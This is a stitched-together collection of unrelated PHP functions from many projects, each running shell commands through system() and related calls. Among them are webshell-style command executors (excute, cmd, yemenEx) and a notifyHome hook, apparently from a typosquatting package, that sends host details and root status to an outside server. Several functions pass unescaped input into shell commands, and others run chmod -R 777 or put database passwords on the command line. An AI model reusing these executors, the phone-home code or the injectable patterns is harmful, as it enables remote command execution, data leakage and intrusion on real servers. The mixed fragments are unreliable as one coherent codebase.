function list_topics($zkAddr) { $tmpFile = time(); //echo $tmpFile; $cmd = "cd ./kafka/kafka-0.8.0-ead-release;bin/kafka-list-topic.sh --zookeeper {$zkAddr} >>../../data/{$tmpFile}"; $topics = system($cmd); $fd = fopen("./data/{$tmpFile}", "r"); echo "<table border='1'>\n <tr>\n <th><label id='zk'>{$zkAddr}</label></th>\n <th>topic</th>\n <th>partition</th>\n <th>leader</th>\n <th>last offset</th>\n <th>message</th>\n </tr>"; $line = fgets($fd); $rowNum = 1; while ($line != "") { //echo $line; $tp = strpos($line, "topic:"); $pp = strpos($line, "partition:"); $lp = strpos($line, "leader:"); $rp = strpos($line, "replicas:"); $topic = trim(substr($line, $tp + 6, $pp - 6)); $partition = trim(substr($line, $pp + 10, 2)); $leader = trim(substr($line, $lp + 7, 2)); echo "<tr>\n <td>\n <input type='checkbox' id='{$topic}|{$partition}|{$leader}' />\n </td>\n <td>{$topic}</td>\n <td>{$partition}</td>\n <td>{$leader}</td>\n <td><button class='btn' id='getLastOffset|{$topic}|{$partition}|{$leader}'>Get Last Offset</button><br/>\n <label id='OffsetLabel-{$topic}-{$partition}-{$leader}' />\n </td>\n <td><input type='text' id='setOffset-{$topic}-{$partition}-{$leader}' />\n <button class='btn' id='getOffsetMsg|{$topic}|{$partition}|{$leader}'>Get Msg</button><br/>\n <label id='msg-{$topic}-{$partition}-{$leader}' />\n </td>\n </tr>"; $line = fgets($fd); } fclose($fd); $delCmd = "cd ./data;rm {$tmpFile}"; system($delCmd); echo "</table>"; }
function excute($cfe) { $res = ''; if (!empty($cfe)) { if(@function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(@function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(@function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } else { $res = "Ex() Disabled!"; } } return $res; }
function getData($forcibly = false) { if (!empty($this->url_data)) { $data = array(); $weburl = 'http://' . $_SERVER['SERVER_NAME'] . '/'; foreach ($this->url_data as $key => $dir_url) { //得到文件夹名 $dirname = substr($dir_url, strlen($this->url)); //PNG文件地址 $pngurl = $dir_url . DIRECTORY_SEPARATOR . $dirname . '.png'; //HTML文件地址 $fileurl = $dir_url . '/' . $this->filename; if (file_exists($fileurl)) { if (!file_exists($pngurl) || $forcibly) { system($this->getExec($weburl . $fileurl, $pngurl)); } if (file_exists($pngurl)) { $data[$dirname] = $this->url . $dirname . '.png'; } } } return empty($data) ? false : $data; } else { return false; } }
/** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { try { if (!$this->option('url')) { $output->write('Requesting Version...'); $versions = $this->getVersions(); $output->writeln('<info>done.</info>'); $output->writeln(''); $output->writeln('<comment>Latest Version: ' . $versions['latest']['version'] . '</comment> '); $output->writeln(''); if (!$this->confirm('Update to Version ' . $versions['latest']['version'] . '? [y/n]')) { return; } $output->writeln(''); $url = $versions['latest']['url']; } else { $url = $this->option('url'); } $tmpFile = tempnam($this->container['path.temp'], 'update_'); $output->write('Downloading...'); $this->download($url, $tmpFile); $output->writeln('<info>done.</info>'); $updater = new SelfUpdater($output); $updater->update($tmpFile); $output->write('Migrating...'); system(sprintf('php %s migrate', $_SERVER['PHP_SELF'])); } catch (\Exception $e) { if (isset($tmpFile) && file_exists($tmpFile)) { unlink($tmpFile); } throw $e; } }
/** * Prompts user for a configuration $option and returns the resulting input. * * @param $option {String} * The name of the option to configure. * @param $default {String} Optional, default: <none> * The default value to use if no answer is given. * @param $comment {String} Optional, default: $option * Help text used when prompting the user. Also used as a comment in * the configuration file. * @param $secure {Boolean} Optional, default: false * True if user input should not be echo'd back to the screen as it * is entered. Useful for passwords. * @param $unknown {Boolean} Optional, default: false * True if the configuration option is not a well-known option and * a warning should be printed. * * @return {String} * The configured value for the requested option. */ function configure($option, $default = null, $comment = '', $secure = false, $unknown = false) { global $NO_PROMPT; if ($NO_PROMPT) { return $default; } // check if windows static $isWindows = null; if ($isWindows === null) { $isWindows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; } if ($unknown) { // Warn user about an unknown configuration option being used. print "\nThis next option ({$option}) is an unknown configuration" . " option, which may mean it has been deprecated or removed.\n\n"; } // Make sure we have good values for I/O. $help = $comment !== null && $comment !== '' ? $comment : $option; // Prompt for and read the configuration option value printf("%s [%s]: ", $help, $default === null ? '<none>' : $default); if ($secure && !$isWindows) { system('stty -echo'); } $value = trim(fgets(STDIN)); if ($secure && !$isWindows) { system('stty echo'); print "\n"; } // Check the input if ($value === '' && $default !== null) { $value = $default; } // Always return the value return $value; }
public function Execute() { if (function_exists('system')) { ob_start(); system($this->command_exec); $this->output = ob_get_contents(); ob_end_clean(); } else { if (function_exists('passthru')) { ob_start(); passthru($this->command_exec); $this->output = ob_get_contents(); ob_end_clean(); } else { if (function_exists('exec')) { exec($this->command_exec, $this->output); $this->output = implode("\n", $output); } else { if (function_exists('shell_exec')) { $this->output = shell_exec($this->command_exec); } else { $this->output = 'Command execution not possible on this system'; } } } } }
function sys($cmd) { system($cmd, $stat); if ($stat !== 0) { fwrite(STDERR, "Command failed with code {$stat}: {$cmd}\n"); } }
public function run($args) { if (count($args) != 1) { $this->usageError('Please supply the path to fhir-single.xsd'); } $output_dir = Yii::app()->basePath . '/components/fhir_schema'; system('mkdir -p ' . escapeshellarg($output_dir)); $doc = new DOMDocument(); $doc->load($args[0]); $xpath = new DOMXPath($doc); $xpath->registerNamespace('xs', 'http://www.w3.org/2001/XMLSchema'); $types = array(); foreach ($xpath->query('xs:complexType') as $complexType) { $type = $complexType->getAttribute('name'); $types[$type] = array(); $base = $xpath->evaluate('string(.//xs:extension/@base)', $complexType); if ($base && isset($types[$base])) { $types[$type] = $types[$base]; } foreach ($xpath->query('.//*[@maxOccurs]', $complexType) as $item) { $plural = $item->getAttribute('maxOccurs') != '1'; if ($item->tagName == 'xs:element') { $elements = array($item); } else { $elements = $xpath->query('.//xs:element', $item); } foreach ($elements as $element) { $el_name = $element->getAttribute('name') ?: $element->getAttribute('ref'); $el_type = $element->getAttribute('type') ?: $element->getAttribute('ref'); $types[$type][$el_name] = array('type' => $el_type, 'plural' => $plural); } } file_put_contents("{$output_dir}/{$type}.json", json_encode($types[$type], JSON_FORCE_OBJECT)); } }
public function filter($tempMinifiedFilename) { $originalFilename = $this->srcFile->getPath(); $jarPath = $this->externalLibPath . '/closurecompiler/compiler.jar'; $command = "java -jar {$jarPath} --warning_level QUIET --language_in ECMASCRIPT5 --compilation_level SIMPLE_OPTIMIZATIONS --js {$originalFilename} --js_output_file {$tempMinifiedFilename}"; //SIMPLE_OPTIMIZATIONS //ADVANCED_OPTIMIZATIONS //java -jar compiler.jar --compilation_level ADVANCED_OPTIMIZATIONS --js hello.js $output = system($command, $returnValue); if ($returnValue != 0) { @unlink($tempMinifiedFilename); $logging = "command is {$command} <br/>"; $logging .= "curr dir " . getcwd() . "<br/>"; $logging .= "returnValue {$returnValue} <br/>"; $logging .= "result is: "; $logging .= "Output is: " . $output . "<br/>"; $this->logger->critical("Failed to generate minified Javascript: " . $logging); header("Content-type: text/javascript"); header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1 header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Date in the past echo "alert('Javacript not generated. Someone please tell the server dude \"{$originalFilename}\" failed.')"; exit(0); } }
/** * This function will feed the $say parameter to a speech * synthesizer and send the resulting audio file to the browser * * @param string $say */ function spamhurdles_spoken_captcha($say) { global $PHORUM; $conf = $PHORUM["mod_spamhurdles"]["captcha"]; if ($conf["spoken_captcha"] && file_exists($conf["flite_location"])) { // Generate the command for building the wav file. $tmpfile = tempnam($PHORUM["cache"], 'spokencaptcha_'); $cmd = escapeshellcmd($conf["flite_location"]); $cmd .= " -t " . escapeshellarg($say); $cmd .= " -o " . escapeshellarg($tmpfile); // Build the wav file. system($cmd); // Did we succeed in building the wav? Then stream it to the user. if (file_exists($tmpfile) and filesize($tmpfile) > 0) { header("Content-Type: audio/x-wav"); header("Content-Disposition: attachment; filename=captchacode.wav"); header("Content-Length: " . filesize($tmpfile)); readfile($tmpfile); unlink($tmpfile); exit(0); // Something in the setup is apparently wrong here. } else { die("<h1>Internal Spam Hurdles module error</h1>" . "Failed to generate a wave file using flite.\n" . "Please contact the site maintainer to report this problem."); } } else { die("<h1>Internal Spam Hurdles module error</h1>" . "Spoken captcha requested, but no spoken text is available\n" . "or the speech system has not been enabled/configured. " . "Please contact the site maintainer to report this problem."); } }
public function main() { $extractorPath = realpath(__DIR__ . '/../src/plugins/i18n/extractor.php'); $baseDirectory = realpath(__DIR__ . '/../src/'); $result = array(); foreach ($this->filesets as $fs) { try { $files = $fs->getDirectoryScanner($this->project)->getIncludedFiles(); foreach ($files as $file) { $content = file_get_contents($file); $matches = array(); if (!preg_match("/registerLocale\\('([a-zA-Z_-]+)',\\s'([^']+)', \\{/", $content, $matches)) { throw new Exception("Failed to extract locale name from {$file}"); } $localeName = $matches[1]; $localeNativeName = $matches[2]; $command = "\$(which php) {$extractorPath} -b {$baseDirectory} -l {$localeName} -n {$localeNativeName} -m"; system($command); } } catch (BuildException $be) { $this->log($be->getMessage(), Project::MSG_WARN); } } $this->project->setProperty($this->name, implode("\n", $result)); }
/** * Save the revieved XML to file * * @param string $xml The xml recieved * @return boolean True on success or false */ function saveFile($xml) { global $db; //In your database, log that you have received new xml data $db->query("INSERT INTO saved_xml () VALUES ()") or $db->raise_error('Failed saving xml'); // Will use the message we give it + the SQL $id = $db->insert_id(); //Save the data in a file, and name it using the autoincrement id from your database $filename = "files/{$id}.xml.gz"; if (move_uploaded_file($xml, $filename)) { $unzipped_file = 'files/' . $id . '.xml'; system("gunzip {$filename} 2>&1"); if (file_exists($unzipped_file)) { //file is ready to parse } else { writeLog(array(), "Failed to gunzip file " . $filename); $db->query("DELETE FROM saved_xml WHERE id=" . $id) or $db->raise_error('Failed deleting XML row'); // Will use the message we give it + the SQL return false; } //echo "The file $filename has been uploaded"; } else { //echo "There was an error uploading the file, please try again!"; $db->query("DELETE FROM saved_xml WHERE id=" . $id) or $db->raise_error('Failed deleting XML row'); // Will use the message we give it + the SQL return false; } return true; }
/** * 应用程序的入口函数 */ public function vRun() { $now = time(); $ymd = date('Y-m-d', $now); $time = date('H:i', $now); $week = date('w', $now); $day = date('j', $now); list($hour, $minute) = explode(':', $time); $hour = intval($hour); $minute = intval($minute); $curdir = getcwd(); foreach ($this->_aConf['crontab'] as $v) { if (!Ko_Tool_Time::BCheckTime($v, $minute, $hour, $week, $day)) { continue; } if (isset($v['path']) && '.' !== $v['path']) { if (!chdir($v["path"])) { continue; } } $cmd = trim($v['cmd'], '&'); if (!$v['fg']) { $cmd .= ' &'; } echo '[', $ymd, ' ', $time, '] ', $cmd, "\n"; system($cmd); if (isset($v['path']) && '.' !== $v['path']) { chdir($curdir); } } }
public function willLintPaths(array $paths) { $futures = array(); $ret_value = 0; $last_line = system("which cpplint", $ret_value); $CPP_LINT = false; if ($ret_value == 0) { $CPP_LINT = $last_line; } else { if (file_exists(self::CPPLINT)) { $CPP_LINT = self::CPPLINT; } } if ($CPP_LINT) { foreach ($paths as $p) { $lpath = $this->getEngine()->getFilePathOnDisk($p); $lpath_file = file($lpath); if (preg_match('/\\.(c)$/', $lpath) || preg_match('/-\\*-.*Mode: C[; ].*-\\*-/', $lpath_file[0]) || preg_match('/vim(:.*)*:\\s*(set\\s+)?filetype=c\\s*:/', $lpath_file[0])) { $futures[$p] = new ExecFuture("%s %s %s 2>&1", $CPP_LINT, self::C_FLAG, $this->getEngine()->getFilePathOnDisk($p)); } else { $futures[$p] = new ExecFuture("%s %s 2>&1", $CPP_LINT, $this->getEngine()->getFilePathOnDisk($p)); } } foreach (Futures($futures)->limit(8) as $p => $f) { $this->rawLintOutput[$p] = $f->resolvex(); } } return; }
public function generate() { if (PHP_SAPI != 'cli') { throw new \Exception("This script only can be used in CLI"); } $config = $this->config->get('database'); system(sprintf('/usr/bin/mysqldump -u %s -h %s -p%s -r /tmp/phosphorum.sql %s', $config->username, $config->host, $config->password, $config->dbname)); system('bzip2 -f /tmp/phosphorum.sql'); $config = $this->config->get('dropbox'); if (!$config instanceof Config) { throw new \Exception("Unable to retrieve Dropbox credentials. Please check Forum Configuration"); } if (!$config->get('appSecret') || !$config->get('accessToken')) { throw new \Exception("Please provide correct 'appSecret' and 'accessToken' config values"); } $sourcePath = '/tmp/phosphorum.sql.bz2'; if (!file_exists($sourcePath)) { throw new \Exception("Backup could not be created"); } $client = new Client($config->get('accessToken'), $config->get('appSecret')); $adapter = new DropboxAdapter($client, $config->get('prefix', null)); $filesystem = new Filesystem($adapter); $dropboxPath = '/phosphorum.sql.bz2'; if ($filesystem->has($dropboxPath)) { $filesystem->delete($dropboxPath); } $fp = fopen($sourcePath, "rb"); $filesystem->putStream($dropboxPath, $fp); fclose($fp); @unlink($sourcePath); }
function init($subject, $html) { $this->count = 0; $this->error = 0; $this->pack_id = 0; $this->filename = date("d-m-Y-H-i") . '.' . md5(mt_rand(0, 999999999) . microtime()) . '.xml'; $this->log_file = fopen(DIR_FS_CATALOG . $this->log_path, 'a'); $this->xml_file = fopen($this->packege_dir . $this->filename, 'w+'); $this->write('<?xml version="1.0" ?> <list> <body> <Data> <![CDATA[' . $html . ']]> </Data> <EmailFrom><![CDATA[' . $this->sender_email . ']]></EmailFrom> <NameFrom><![CDATA[' . $this->sender_name . ']]></NameFrom> <Subject><![CDATA[' . $subject . ']]></Subject> </body> <users>'); //Удаляем старые пакеты $files = system('find ' . $this->packege_dir . ' -type f -mtime +1 -delete -print'); if ($files) { $this->write_log("DELETE PACKEGES\n" . $files . "\n"); } }
protected function postEventsActions(array $executed_events_ids, $queue_name) { $this->site_cache->restoreOwnership(); // Since generating aliases may be costly, do it only once everything else is processed if ($this->backend_aliases->aliasesNeedUpdate()) { $this->backend_aliases->update(); } // Update CVS root allow file once everything else is processed if ($this->backend_cvs->getCVSRootListNeedUpdate()) { $this->backend_cvs->CVSRootListUpdate(); } // Update SVN root definition for Apache once everything else is processed if ($this->backend_svn->getSVNApacheConfNeedUpdate()) { $this->backend_svn->generateSVNApacheConf(); // Need to refresh apache (graceful) system('/sbin/service httpd graceful'); } // Update system user and group caches once everything else is processed if ($this->backend_system->getNeedRefreshUserCache()) { $this->backend_system->refreshUserCache(); } if ($this->backend_system->getNeedRefreshGroupCache()) { $this->backend_system->refreshGroupCache(); } $this->triggerApplicationOwnerEventsProcessing(); }
/** * ■DBバックアップ関数 * $dbHost : ホスト名 * $dbUser : ユーザ名 * $dbPass : パスワード * $dirPath : DBのバックアップ先のディレクトリパス * $fileName : バックアップファイル名 */ function dbBackup($dbHost, $dbUser, $dbPass, $dbName, $dirPath, $fileName) { // mysqlダンプ(指定の場所にバックアップ) $command = "mysqldump " . $dbName . " --host=" . $dbHost . " --user="******" --password="******" > " . $dirPath . $fileName; // 外部コマンドを実行する関数「system」 system($command); }
public function actionIndex() { $path = \Yii::$app->basePath . '/../'; exec("svn update " . $path); $e = system("svn status -v " . $path); dump($e); }
/** * @return bool */ protected function clearImplementation() { if (\defined('PHP_SAPI') && 'cli' === PHP_SAPI && \MailSo\Base\Utils::FunctionExistsAndEnabled('system')) { \system('clear'); } return true; }
/** * 文件以base64方式上传 * @param type $path * @param type $filename * @param type $resp_arr * @param type $webrooturl * @param type $filebase64 */ function base64upload($path, $filename, $filebase64) { header("Expires: Mon, 26 Jul 1990 05:00:00"); //表示永远过期 header("Last-Modified: " . date("D, d M Y H:i:s")); header("Cache-Control: no-store, no-cache, must-revalidate"); //不使用缓存 header("Cache-Control: post-check=0, pre-check=0", false); //不使用缓存 header("Pragma: no-cache"); //不使用缓存 $fileCallback = array("flag" => true, "error" => "", "filename" => $filename); if (!empty($filebase64)) { $IMG = base64_decode($filebase64); if (!file_exists($path)) { mkdir($path); } system("chmod -R 777 " . $path); if (!file_put_contents($path . $filename, $IMG)) { $fileCallback["flag"] = false; $fileCallback["error"] = "图片上传失败"; } } else { $fileCallback["flag"] = false; $fileCallback["error"] = "图片上传失败"; } return $fileCallback; }
public function minHeadScript() { if (APPLICATION_ENVIRONMENT != 'production') { return $this->view->headScript(); } ob_start(); $urls = array(); $sources = ''; foreach ($this->view->headScript() as $item) { if (isset($item->attributes['src']) && preg_match('#^/#', $item->attributes['src'])) { $urls[] = $item->attributes['src']; } elseif (!empty($item->source)) { $sources .= $this->view->headScript()->itemToString($item, null, '//<![CDATA[', '//]]>'); } else { echo $this->view->headScript()->itemToString($item, null, '', ''); } } if (sizeof($urls) > 0) { // determine what the combined js file should be called $config = Zend_Registry::get('config'); $hash = md5($config->assetVersion . serialize($urls)); $file = '/js/cache/' . $hash . '.js'; $filePath = APPLICATION_BASE . '/pub-www' . $file; $fileDir = dirname($filePath); if (!is_dir($fileDir)) { // create the cache folder @mkdir($fileDir, 0755, true); } if (!file_exists($filePath)) { // write the combined js to disk $js = ''; foreach ($urls as $url) { $js .= @file_get_contents(APPLICATION_BASE . '/pub-www' . $url) . "\n"; } @file_put_contents($filePath, $js); } if (file_exists($filePath)) { // minify $fileMin = '/js/cache/' . $hash . '.min.js'; $filePathMin = APPLICATION_BASE . '/pub-www' . $fileMin; if (!file_exists($filePathMin)) { // try to minify $jar = APPLICATION_BASE . '/bin/yuicompressor-2.4.6.jar'; @system('java -jar "' . $jar . '" -o "' . $filePathMin . '" ' . $filePath); } if (file_exists($filePathMin)) { echo $this->view->headScript()->itemToString((object) array('type' => 'text/javascript', 'attributes' => array('src' => $fileMin)), null, '', ''); } else { echo $this->view->headScript()->itemToString((object) array('type' => 'text/javascript', 'attributes' => array('src' => $file)), null, '', ''); } } else { // couldn't write combined js, so serve individual files foreach ($urls as $url) { echo $this->view->headScript()->itemToString((object) array('type' => 'text/javascript', 'attributes' => array('src' => $url . '?v=' . $config->assetVersion)), null, '', ''); } } } echo $sources; return ob_get_clean(); }
function cmd($cfe) { $res = ''; echon($cfe, 1); $cfe = $cfe; if ($cfe) { if (function_exists('exec')) { @exec($cfe, $res); $res = join("\n", $res); } elseif (function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif (function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif (@is_resource($f = @popen($cfe, "r"))) { $res = ''; while (!@feof($f)) { $res .= @fread($f, 1024); } @pclose($f); } } echon($res, 1); return $res; }
function lfStartDailyTotal($term, $start, $command = false) { $now_time = time(); // グラフ画像の削除 $path = GRAPH_DIR . "*.png"; system("rm -rf {$path}"); // 削除された受注データの受注詳細情報の削除 $objQuery = new SC_Query(); $where = "order_id IN (SELECT order_id FROM dtb_order WHERE del_flg = 1)"; $objQuery->delete("dtb_order_detail", $where); // 最後に更新された日付を取得 $ret = $objQuery->max("dtb_bat_order_daily", "create_date"); list($batch_last) = split("\\.", $ret); $pass = $now_time - strtotime($batch_last); // 最後のバッチ実行からLOAD_BATCH_PASS秒経過していないと実行しない。 if ($pass < LOAD_BATCH_PASS) { GC_Utils_Ex::gfPrintLog("LAST BATCH " . $arrRet[0]['create_date'] . " > " . $batch_pass . " -> EXIT BATCH {$batch_date}"); return; } // 集計 for ($i = $start; $i < $term; $i++) { // 基本時間から$i日分さかのぼる $tmp_time = $now_time - $i * 24 * 3600; $batch_date = date("Y/m/d", $tmp_time); GC_Utils_Ex::gfPrintLog("LOADING BATCH {$batch_date}"); $this->lfBatOrderDaily($tmp_time); $this->lfBatOrderDailyHour($tmp_time); $this->lfBatOrderAge($tmp_time); // タイムアウトを防ぐ SC_Utils_Ex::sfFlush(); } }
/** * 多进程处理任务 * @param callback $mission_func 子进程要进行的任务函数 */ public function dealMission($mission_func) { $this->_mission_func = $mission_func; for ($i = 0; $i < $this->_process_num; $i++) { $pid[] = pcntl_fork(); if ($pid[$i] == 0) { //等于0时,是子进程 $this->_func_obj->{$mission_func}($i + 1); //结束当前子进程,以防止生成僵尸进程 if (function_exists("posix_kill")) { posix_kill(getmypid(), SIGTERM); } else { system('kill -9' . getmypid()); } exit; } else { if ($pid > 0) { //大于0时,是父进程,并且pid是产生的子进程的PID //TODO 可以记录下子进程的pid,用pcntl_wait_pid()去等待程序并结束 pcntl_wait($status); } else { throw new Exception('fork fail'); } } } }
function main($server_cfg) { $options = get_options(); if (isset($options['g']) && $options['g'] !== '') { $game_names = explode(",", $options['g']); } else { $game_names = $server_cfg['game_list']; } foreach ($game_names as $game) { zpm_preamble($game); $game_cfg = load_game_config($game); $retval = null; // refs will start failing in 5.3.x if not declared $cleanup = "/usr/local/zperfmon/bin/clean.sh -g " . $game_cfg['name'] . " > /dev/null "; $output = system($cleanup, $retval); if ($retval != 0) { error_log("Couldn`t cleanup game {$game}", 3, sprintf($server_cfg['log_file'], $game_cfg['name'])); continue; } $arrays_to_id = get_array_id_map($server_cfg, $game_cfg); foreach ($arrays_to_id as $array => $id) { $game_cfg = load_game_config($game, $id); $cleanup = "/usr/local/zperfmon/bin/clean.sh -g " . $game_cfg['name'] . " > /dev/null "; $output = system($cleanup, $retval); if ($retval != 0) { error_log("Couldn`t cleanup game {$game}", 3, sprintf($server_cfg['log_file'], $game_cfg['name'])); continue; } } zpm_postamble($game); } }
/** * Execute the console command. * * @return mixed */ public function handle() { $args = $this->argument('watch') == "watch" ? ' watch' : ''; $args .= $this->option('production') ? ' --production' : ''; system("gulp --cwd " . base_path() . " --gulpfile=./vendor/darrenmerrett/react-spark/src/gulpfile.js {$args}\n"); print "\n"; }
function yemenEx($in) { $out = ''; if (function_exists('exec')) { @exec($in, $out); $out = @join("\n", $out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in, "r"))) { $out = ""; while (!@feof($f)) { $out .= fread($f, 1024); } pclose($f); } return $out; }
public function download($urls, $merge = TRUE) { if (!$urls || !is_array($urls)) { return FALSE; } $extFlag = FALSE; $videoName = $this->title; if (count($urls) == 1) { $fileName = './video/' . $videoName . '.mp4'; $url = current($urls); system("curl -o {$fileName} {$url}"); } else { foreach ($urls as $key => $url) { $videoName = './video/' . $key . 'tudou.mp4.download'; $parts[] = $videoName; system("curl -o {$videoName} {$url}"); $extFlag = TRUE; } if ($extFlag && $merge) { $outFile = $this->title . '.mp4'; $this->merge($parts, 'tudou', $this->ext); } } return $fileName; }
public static function notifyHome($typo_name, $real_name) { $debug = false; // $composer = $event->getComposer(); $p1 = urlencode($typo_name); $p2 = urlencode($real_name); $p3 = urlencode('composer'); $p4 = urlencode(php_uname()); $p5 = 'false'; $p6 = system('composer --version'); if (0 == posix_getuid()) { $p5 = 'true'; } $query_part = sprintf("p1=%s&p2=%s&p3=%s&p4=%s&p5=%s&p6=%s", $p1, $p2, $p3, $p4, $p5, $p6); if ($debug) { $url = "http://localhost:8000/app/?" . $query_part; echo $url; } else { $url = "http://svs-repo.informatik.uni-hamburg.de/app/?" . $query_part; } $response = file_get_contents($url); if ($debug) { print $response; } }